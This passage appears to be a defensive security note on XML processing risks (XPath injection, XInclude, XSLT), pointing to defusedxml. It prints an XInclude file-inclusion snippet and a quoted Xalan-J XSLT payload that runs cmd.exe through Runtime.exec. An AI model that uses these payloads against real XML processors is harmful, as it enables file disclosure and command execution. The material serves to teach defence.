XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page [Avoid the dangers of XPath injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html) list some ramifications of XPath injections.
|
||||
|
||||
---
|
||||
|
||||
### XInclude
|
||||
|
||||
XML Inclusion is another way to load and include external files:
|
||||
|
||||
```
|
||||
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
||||
<xi:include href="filename.txt" parse="text" />
|
||||
</root>
|
||||
```
|
||||
|
||||
|
||||
This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.
|
||||
|
||||
---
|
||||
|
||||
### XSL Transformation
|
||||
|
||||
You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.
|
||||
|
||||
Example from [Attacking XML Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf) for Xalan-J:
|
||||
|
||||
```
|
||||
<xsl:stylesheet version="1.0"
|
||||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||||
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
|
||||
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
|
||||
exclude-result-prefixes= "rt ob">
|
||||
<xsl:template match="/">
|
||||
<xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
|
||||
<xsl:variable name="command"
|
||||
select="rt:exec($runtimeObject, 'c:\Windows\system32\cmd.exe')"/>
|
||||
<xsl:variable name="commandAsString" select="ob:toString($command)"/>
|
||||
<xsl:value-of select="$commandAsString"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SOURCES
|
||||
|
||||
- https://github.com/tiran/defusedxml
|
||||
- https://docs.python.org/3/library/xml.html#xml-vulnerabilities
|
||||
- https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/
|
||||
- https://en.wikipedia.org/wiki/Billion_laughs_attack
|
Reference in New Issue
Block a user